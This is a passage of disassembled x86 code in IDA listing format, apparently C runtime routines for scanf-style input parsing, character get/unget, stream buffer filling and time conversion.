		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B967
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		mov	ebx, eax
		mov	al, byte_438130
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41B922:				; CODE XREF: sub_41B605+360j
		cmp	dword_43812C, 1
		jle	short loc_41B937
		push	4
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41B942
; ---------------------------------------------------------------------------


loc_41B937:				; CODE XREF: sub_41B605+324j
		mov	eax, off_437F20
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B942:				; CODE XREF: sub_41B605+330j
		test	eax, eax
		jz	short loc_41B967
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B967
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B922
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B605+2FAj
					; sub_41B605+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41B9FF
		cmp	ebx, 65h
		jz	short loc_41B97F
		cmp	ebx, 45h
		jnz	loc_41B9FF


loc_41B97F:				; CODE XREF: sub_41B605+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B9FF
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41B9A6
		mov	[esi], al
		inc	esi
		jmp	short loc_41B9AB
; ---------------------------------------------------------------------------


loc_41B9A6:				; CODE XREF: sub_41B605+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41B9C9


loc_41B9AB:				; CODE XREF: sub_41B605+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41B9BA
		and	[ebp+var_C], eax
		jmp	short loc_41B9C9
; ---------------------------------------------------------------------------


loc_41B9BA:				; CODE XREF: sub_41B605+3AEj
					; sub_41B605+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B9C9:				; CODE XREF: sub_41B605+3A4j
					; sub_41B605+3B3j
		cmp	dword_43812C, 1
		jle	short loc_41B9DE
		push	4
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41B9E9
; ---------------------------------------------------------------------------


loc_41B9DE:				; CODE XREF: sub_41B605+3CBj
		mov	eax, off_437F20
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B9E9:				; CODE XREF: sub_41B605+3D7j
		test	eax, eax
		jz	short loc_41B9FF
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B9FF
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41B9BA
; ---------------------------------------------------------------------------


loc_41B9FF:				; CODE XREF: sub_41B605+366j
					; sub_41B605+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41C07B
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41C00B
		cmp	[ebp+var_E], 0
		jnz	loc_41BF6C
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43A288
		add	esp, 0Ch
		jmp	loc_41BF6C
; ---------------------------------------------------------------------------


loc_41BA43:				; CODE XREF: sub_41B605+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41BA52
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41BA52:				; CODE XREF: sub_41B605+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41BA5C
		mov	[ebp+var_16], 1


loc_41BA5C:				; CODE XREF: sub_41B605+451j
		mov	edi, offset dword_43A2B0
		jmp	loc_41BB71
; ---------------------------------------------------------------------------


loc_41BA66:				; CODE XREF: sub_41B605+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41BD14
		sub	eax, 3
		jz	loc_41BB62
		dec	eax
		dec	eax
		jz	loc_41BD18
		sub	eax, 3
		jz	loc_41B84E
		sub	eax, 3
		jz	short loc_41BAB4


loc_41BA90:				; CODE XREF: sub_41B605+21Bj
					; sub_41B605+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41BFDB
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41BF6C
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41BF6C
; ---------------------------------------------------------------------------


loc_41BAB4:				; CODE XREF: sub_41B605+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41BABE
		mov	[ebp+var_16], 1


loc_41BABE:				; CODE XREF: sub_41B605+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41BB75
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41BB71
; ---------------------------------------------------------------------------


loc_41BAD8:				; CODE XREF: sub_41B605+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41BAFF


loc_41BADD:				; CODE XREF: sub_41B605+259j
		dec	[ebp+var_C]
		jnz	short loc_41BAEE
		cmp	[ebp+var_20], 0
		jz	short loc_41BAEE
		mov	[ebp+var_F], 1
		jmp	short loc_41BAFF
; ---------------------------------------------------------------------------


loc_41BAEE:				; CODE XREF: sub_41B605+4DBj
					; sub_41B605+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41BAFF:				; CODE XREF: sub_41B605+4D6j
					; sub_41B605+4E7j
		cmp	ebx, 30h
		jnz	loc_41BD4D
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41BB4D
		cmp	bl, 58h
		jz	short loc_41BB4D
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41BB37
		push	6Fh


loc_41BB31:				; CODE XREF: sub_41B605+55Bj
		pop	esi
		jmp	loc_41BD4D
; ---------------------------------------------------------------------------


loc_41BB37:				; CODE XREF: sub_41B605+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41C07B
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41BD4A
; ---------------------------------------------------------------------------


loc_41BB4D:				; CODE XREF: sub_41B605+517j
					; sub_41B605+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C061
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41BB31
; ---------------------------------------------------------------------------


loc_41BB62:				; CODE XREF: sub_41B605+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41BB6C
		mov	[ebp+var_16], 1


loc_41BB6C:				; CODE XREF: sub_41B605+561j
		mov	edi, offset dword_43A2A8


loc_41BB71:				; CODE XREF: sub_41B605+45Cj
					; sub_41B605+4CEj
		or	[ebp+var_18], 0FFh


loc_41BB75:				; CODE XREF: sub_41B605+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41BB99
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41BB99
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41BB9C
; ---------------------------------------------------------------------------


loc_41BB99:				; CODE XREF: sub_41B605+584j
					; sub_41B605+589j
		mov	dl, [ebp+var_35]


loc_41BB9C:				; CODE XREF: sub_41B605+592j
					; sub_41B605+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41BC01
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41BBE8
		test	dl, dl
		jz	short loc_41BBE8
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41BBE8
		inc	edi
		cmp	dl, cl
		jnb	short loc_41BBBB
		mov	al, cl
		jmp	short loc_41BBBF
; ---------------------------------------------------------------------------


loc_41BBBB:				; CODE XREF: sub_41B605+5B0j
		mov	al, dl
		mov	dl, cl


loc_41BBBF:				; CODE XREF: sub_41B605+5B4j
		cmp	dl, al
		ja	short loc_41BBE4
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41BBCC:				; CODE XREF: sub_41B605+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41BBCC


loc_41BBE4:				; CODE XREF: sub_41B605+5BCj
		xor	dl, dl
		jmp	short loc_41BB9C
; ---------------------------------------------------------------------------


loc_41BBE8:				; CODE XREF: sub_41B605+5A0j
					; sub_41B605+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41BB9C
; ---------------------------------------------------------------------------


loc_41BC01:				; CODE XREF: sub_41B605+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41C00B
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41BC13
		mov	[ebp+arg_4], edi


loc_41BC13:				; CODE XREF: sub_41B605+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41C07B
		pop	ecx
		pop	ecx


loc_41BC2A:				; CODE XREF: sub_41B605+6BCj
					; sub_41B605+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41BC3E
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41BCDA


loc_41BC3E:				; CODE XREF: sub_41B605+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41BCCE
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41BCCE
		cmp	[ebp+var_E], 0
		jnz	short loc_41BCC6
		cmp	[ebp+var_16], 0
		jz	short loc_41BCBB
		mov	ecx, off_437F20
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41BC9A
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		pop	ecx
		mov	[ebp+var_37], al


loc_41BC9A:				; CODE XREF: sub_41B605+686j
		push	dword_43812C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41E869
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41BCBE
; ---------------------------------------------------------------------------


loc_41BCBB:				; CODE XREF: sub_41B605+673j
		mov	[esi], al
		inc	esi


loc_41BCBE:				; CODE XREF: sub_41B605+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41BC2A
; ---------------------------------------------------------------------------


loc_41BCC6:				; CODE XREF: sub_41B605+66Dj
		inc	[ebp+var_30]
		jmp	loc_41BC2A
; ---------------------------------------------------------------------------


loc_41BCCE:				; CODE XREF: sub_41B605+649j
					; sub_41B605+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41C07B
		pop	ecx
		pop	ecx


loc_41BCDA:				; CODE XREF: sub_41B605+633j
		cmp	[ebp+var_30], esi
		jz	loc_41C00B
		cmp	[ebp+var_E], 0
		jnz	loc_41BF6C
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41BF6C
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41BD0C
		and	word ptr [eax],	0
		jmp	loc_41BF6C
; ---------------------------------------------------------------------------


loc_41BD0C:				; CODE XREF: sub_41B605+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41BF6C
; ---------------------------------------------------------------------------


loc_41BD14:				; CODE XREF: sub_41B605+466j
		mov	[ebp+var_D], 1


loc_41BD18:				; CODE XREF: sub_41B605+203j
					; sub_41B605+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41BD26
		mov	[ebp+var_17], 1
		jmp	short loc_41BD2B
; ---------------------------------------------------------------------------


loc_41BD26:				; CODE XREF: sub_41B605+719j
		cmp	ebx, 2Bh
		jnz	short loc_41BD4D


loc_41BD2B:				; CODE XREF: sub_41B605+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41BD3C
		cmp	[ebp+var_20], 0
		jz	short loc_41BD3C
		mov	[ebp+var_F], 1
		jmp	short loc_41BD4D
; ---------------------------------------------------------------------------


loc_41BD3C:				; CODE XREF: sub_41B605+729j
					; sub_41B605+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C061
		pop	ecx
		mov	ebx, eax


loc_41BD4A:				; CODE XREF: sub_41B605+543j
		mov	[ebp+var_14], ebx


loc_41BD4D:				; CODE XREF: sub_41B605+4FDj
					; sub_41B605+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41BE66
		cmp	[ebp+var_F], 0
		jnz	loc_41BE44


loc_41BD61:				; CODE XREF: sub_41B605+82Cj
		cmp	esi, 78h
		jnz	short loc_41BDB5
		cmp	dword_43812C, 1
		jle	short loc_41BD7E
		push	80h
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41BD8B
; ---------------------------------------------------------------------------


loc_41BD7E:				; CODE XREF: sub_41B605+768j
		mov	eax, off_437F20
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41BD8B:				; CODE XREF: sub_41B605+777j
		test	eax, eax
		jz	loc_41BE36
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41E960
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41C02A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41BE08
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41B605+75Fj
		cmp	dword_43812C, 1
		jle	short loc_41BDCA
		push	4
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41BDD5
; ---------------------------------------------------------------------------


loc_41BDCA:				; CODE XREF: sub_41B605+7B7j
		mov	eax, off_437F20
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41BDD5:				; CODE XREF: sub_41B605+7C3j
		test	eax, eax
		jz	short loc_41BE36
		cmp	esi, 6Fh
		jnz	short loc_41BDF3
		cmp	ebx, 38h
		jge	short loc_41BE36
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41E960
		jmp	short loc_41BE02
; ---------------------------------------------------------------------------


loc_41BDF3:				; CODE XREF: sub_41B605+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_4157C0


loc_41BE02:				; CODE XREF: sub_41B605+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41BE08:				; CODE XREF: sub_41B605+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41BE20
		dec	[ebp+var_C]
		jz	short loc_41BE44


loc_41BE20:				; CODE XREF: sub_41B605+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41BD61
; ---------------------------------------------------------------------------


loc_41BE36:				; CODE XREF: sub_41B605+788j
					; sub_41B605+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41C07B
		pop	ecx
		pop	ecx


loc_41BE44:				; CODE XREF: sub_41B605+756j
					; sub_41B605+819j
		cmp	[ebp+var_17], 0
		jz	loc_41BF2A
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41BF2A
; ---------------------------------------------------------------------------


loc_41BE66:				; CODE XREF: sub_41B605+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41BF22


loc_41BE70:				; CODE XREF: sub_41B605+90Aj
		cmp	esi, 78h
		jz	short loc_41BEB4
		cmp	esi, 70h
		jz	short loc_41BEB4
		cmp	dword_43812C, 1
		jle	short loc_41BE8F
		push	4
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41BE9A
; ---------------------------------------------------------------------------


loc_41BE8F:				; CODE XREF: sub_41B605+87Cj
		mov	eax, off_437F20
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41BE9A:				; CODE XREF: sub_41B605+888j
		test	eax, eax
		jz	short loc_41BF14
		cmp	esi, 6Fh
		jnz	short loc_41BEAD
		cmp	ebx, 38h
		jge	short loc_41BF14
		shl	edi, 3
		jmp	short loc_41BEEC
; ---------------------------------------------------------------------------


loc_41BEAD:				; CODE XREF: sub_41B605+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41BEEC
; ---------------------------------------------------------------------------


loc_41BEB4:				; CODE XREF: sub_41B605+86Ej
					; sub_41B605+873j
		cmp	dword_43812C, 1
		jle	short loc_41BECC
		push	80h
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41BED9
; ---------------------------------------------------------------------------


loc_41BECC:				; CODE XREF: sub_41B605+8B6j
		mov	eax, off_437F20
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41BED9:				; CODE XREF: sub_41B605+8C5j
		test	eax, eax
		jz	short loc_41BF14
		push	ebx
		shl	edi, 4
		call	sub_41C02A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41BEEC:				; CODE XREF: sub_41B605+8A6j
					; sub_41B605+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41BEFE
		dec	[ebp+var_C]
		jz	short loc_41BF22


loc_41BEFE:				; CODE XREF: sub_41B605+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41BE70
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41B605+897j
					; sub_41B605+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41C07B
		pop	ecx
		pop	ecx


loc_41BF22:				; CODE XREF: sub_41B605+865j
					; sub_41B605+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41BF2A
		neg	edi


loc_41BF2A:				; CODE XREF: sub_41B605+843j
					; sub_41B605+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41BF33
		and	[ebp+var_1C], 0


loc_41BF33:				; CODE XREF: sub_41B605+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41C00B
		cmp	[ebp+var_E], 0
		jnz	short loc_41BF6C
		inc	[ebp+var_34]


loc_41BF46:				; CODE XREF: sub_41B605+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41BF5C
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41BF6C
; ---------------------------------------------------------------------------


loc_41BF5C:				; CODE XREF: sub_41B605+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41BF69
		mov	[eax], edi
		jmp	short loc_41BF6C
; ---------------------------------------------------------------------------


loc_41BF69:				; CODE XREF: sub_41B605+95Ej
		mov	[eax], di


loc_41BF6C:				; CODE XREF: sub_41B605+241j
					; sub_41B605+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41BFB9
; ---------------------------------------------------------------------------


loc_41BF77:				; CODE XREF: sub_41B605+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41BFE6
		mov	ecx, off_437F20
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41BFB9
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41BFF4
		dec	[ebp+var_4]


loc_41BFB9:				; CODE XREF: sub_41B605+970j
					; sub_41B605+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41BFCF
		cmp	byte ptr [esi],	25h
		jnz	short loc_41C011
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41C011
		mov	esi, eax


loc_41BFCF:				; CODE XREF: sub_41B605+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41B62F
		jmp	short loc_41C00B
; ---------------------------------------------------------------------------


loc_41BFDB:				; CODE XREF: sub_41B605+1F4j
					; sub_41B605+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41BFEB
; ---------------------------------------------------------------------------


loc_41BFE6:				; CODE XREF: sub_41B605+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41BFEB:				; CODE XREF: sub_41B605+9DFj
		call	sub_41C07B
		pop	ecx
		pop	ecx
		jmp	short loc_41C00B
; ---------------------------------------------------------------------------


loc_41BFF4:				; CODE XREF: sub_41B605+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41C07B
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41C07B
		add	esp, 10h


loc_41C00B:				; CODE XREF: sub_41B605+1Fj
					; sub_41B605+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41C022


loc_41C011:				; CODE XREF: sub_41B605+9BDj
					; sub_41B605+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41C025
		cmp	[ebp+var_15], al
		jnz	short loc_41C025
		or	eax, 0FFFFFFFFh
		jmp	short loc_41C025
; ---------------------------------------------------------------------------


loc_41C022:				; CODE XREF: sub_41B605+A0Aj
		mov	eax, [ebp+var_34]


loc_41C025:				; CODE XREF: sub_41B605+A11j
					; sub_41B605+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B605	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C02A	proc near		; CODE XREF: sub_41B605+7A3p
					; sub_41B605+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43812C, 1
		push	esi
		jle	short loc_41C044
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41C053
; ---------------------------------------------------------------------------


loc_41C044:				; CODE XREF: sub_41C02A+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_437F20
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C053:				; CODE XREF: sub_41C02A+18j
		test	eax, eax
		jnz	short loc_41C05D
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41C05D:				; CODE XREF: sub_41C02A+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41C02A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C061	proc near		; CODE XREF: sub_41B605+1E1p
					; sub_41B605+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41C073
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41C073:				; CODE XREF: sub_41C061+7j
		push	edx
		call	sub_41C178
		pop	ecx
		retn
sub_41C061	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C07B	proc near		; CODE XREF: sub_41B605+6Bp
					; sub_41B605+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41C091
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41E97F
		pop	ecx
		pop	ecx

locret_41C091:				; CODE XREF: sub_41C07B+5j
		retn
sub_41C07B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C092	proc near		; CODE XREF: sub_41B605+63p
					; sub_41B605+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41C098:				; CODE XREF: sub_41C092+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41C061
		mov	edi, eax
		push	edi
		call	sub_41E931
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41C098
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41C092	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0B6	proc near		; CODE XREF: sub_41697B+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41C172
		cmp	ebx, 8Ah
		jg	loc_41C172
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43A9D4[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41C0F5
		cmp	edi, 2
		jle	short loc_41C0F5
		inc	esi


loc_41C0F5:				; CODE XREF: sub_41C0B6+37j
					; sub_41C0B6+3Cj
		call	sub_41E9ED
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43A8F0
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41C168
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41C16E
		cmp	dword_43A8F4, 0
		jz	short loc_41C16E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41EC60
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41C16E


loc_41C168:				; CODE XREF: sub_41C0B6+90j
		add	ecx, dword_43A8F8


loc_41C16E:				; CODE XREF: sub_41C0B6+96j
					; sub_41C0B6+9Fj ...
		mov	eax, ecx
		jmp	short loc_41C175
; ---------------------------------------------------------------------------


loc_41C172:				; CODE XREF: sub_41C0B6+13j
					; sub_41C0B6+1Fj
		or	eax, 0FFFFFFFFh


loc_41C175:				; CODE XREF: sub_41C0B6+BAj
		pop	ebx
		leave
		retn
sub_41C0B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C178	proc near		; CODE XREF: sub_416A57+A9p
					; sub_416FDC+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41C24C
		test	al, 40h
		jnz	loc_41C24C
		test	al, 2
		jz	short loc_41C19E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41C24C
; ---------------------------------------------------------------------------


loc_41C19E:				; CODE XREF: sub_41C178+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41C1B2
		push	esi
		call	sub_41D908
		pop	ecx
		jmp	short loc_41C1B7
; ---------------------------------------------------------------------------


loc_41C1B2:				; CODE XREF: sub_41C178+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


